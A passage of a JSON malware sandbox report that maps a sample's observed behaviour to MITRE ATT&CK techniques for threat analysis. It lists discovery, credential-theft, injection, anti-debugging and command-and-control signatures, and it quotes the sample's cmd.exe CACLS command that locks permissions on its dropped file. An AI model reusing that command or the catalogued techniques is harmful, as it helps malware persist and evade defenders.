Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"malicious","value":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to query the machine timezone"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"suspicious","value":"YARA signature match - Crypto Library"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops files with image extension"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"},{"type":"informative","value":"Found Base64 encoding crypto library string in memory"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"ss41.exe\" called \"FindResourceA\" with parameter \"1\" - (UID: 00000000-00006112)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"ss41.exe\" called \"LoadResource with parameter {'hModule': '0', 'hResInfo': '140696956167184'}\" (UID: 00000000-00006112)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"00000000-00000932.00000000.69539.00BD1000.00000020.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found Base64 decoding crypto library string in memory","description":"Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006112.00000001.71189.04700000.00000004.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006112.00000001.71189.04E30000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006112.00000001.71189.04FB0000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006112.00000002.73109.04700000.00000004.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006112.00000002.73109.04E30000.00000040.mdmp\")\n Found Base64 decoder \"AVBase64Decoder@CryptoPP@@\" - Source: \"00000000-00006112.00000002.73109.04FB0000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1140","relevance":2,"id":"memorydump-12","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found Base64 encoding crypto library string in memory","description":"Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006112.00000001.71189.04700000.00000004.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006112.00000001.71189.04E30000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006112.00000001.71189.04FB0000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006112.00000002.73109.04700000.00000004.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006112.00000002.73109.04E30000.00000040.mdmp\")\n Found Base64 encoder \"AVBase64Encoder@CryptoPP@@\" - Source: \"00000000-00006112.00000002.73109.04FB0000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1132.001","relevance":2,"id":"memorydump-11","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"$26","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Modifies file/folder permission using cacls","description":"Process \"cmd.exe\" with commandline \"/k echo Y|CACLS \"oneetx.exe\" /P \"idMumCb:N\"&&CACLS \"oneetx.exe\" /P \"idMumCb:R\" /E&&echo Y|CACLS \"..\\\\207aa4515d\" /P \"idMumCb:N\"&&CACLS \"..\\\\207aa4515d\" /P \"idMumCb:R\" /E&&Exit\" (UID: 00000000-00002788)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":3,"id":"target-349","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006156-28658-2-00093B7E\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000932-43545-2-00BE3B7E\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000932-46466-608-00BE3472\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000932-46466-75-00BE6B80\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00000932-46466-1031-00BE3CE3\n SetUnhandledExceptionFilter@KERNEL32.dll at 50909-933-00413472\n SetUnhandledExceptionFilter@KERNEL32.dll at 50909-1423-00413CE3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API NtUnmapViewOfSection@NTDLL.DLL at 00000000-00000932-46466-182-00BD2AC0","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$27","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$28","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.644272131177893","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found Base64 encoding crypto library string in memory\n Matched sigs: Found Base64 decoding crypto library string in memory\n Matched sigs: YARA signature match - AES Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically used to decrypt the data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found Base64 encoding crypto library string in memory\n Matched sigs: Found Base64 decoding crypto library string in memory\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: YARA signature match - Crypto Library","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Detected Suricata Alert - CnC Activity\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains ability to create a new HTTP request (API string)\n Matched sigs: Contains ability to create a HTTP or FTP session (API string)\n Matched sigs: Found potential URLs in memory dumps","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\".exe\" called \"GetForegroundWindow\" (UID: 00000000-00006580)\n \"oldplayer.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006156)\n \"oneetx.exe\" called \"GetForegroundWindow\" (UID: 00000000-00000932)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"oldplayer.exe\" called \"GetWindowTextW\" (UID: 00000000-00006156)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\".exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006580)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.DLL at 00000000-00000932-46466-631-00BEAA4C\n FindFirstFileExW@KERNEL32.dll at 50909-956-0041AA4C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetDriveTypeW@KERNEL32.DLL at 00000000-00000932-46466-282-00BE6721\n GetDriveTypeW@KERNEL32.DLL at 00000000-00000932-46466-296-00BEE76A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006156-28658-41-00093F50\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00000932-43545-42-00BE3F50\n FileTimeToSystemTime@KERNEL32.DLL at 00000000-00000932-46466-300-00BE637E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006156-28658-41-00093F50\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00000932-43545-42-00BE3F50","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.DLL at 00000000-00000932-46466-231-00BEE96B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00000932-46466-354-00BD3C00","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: 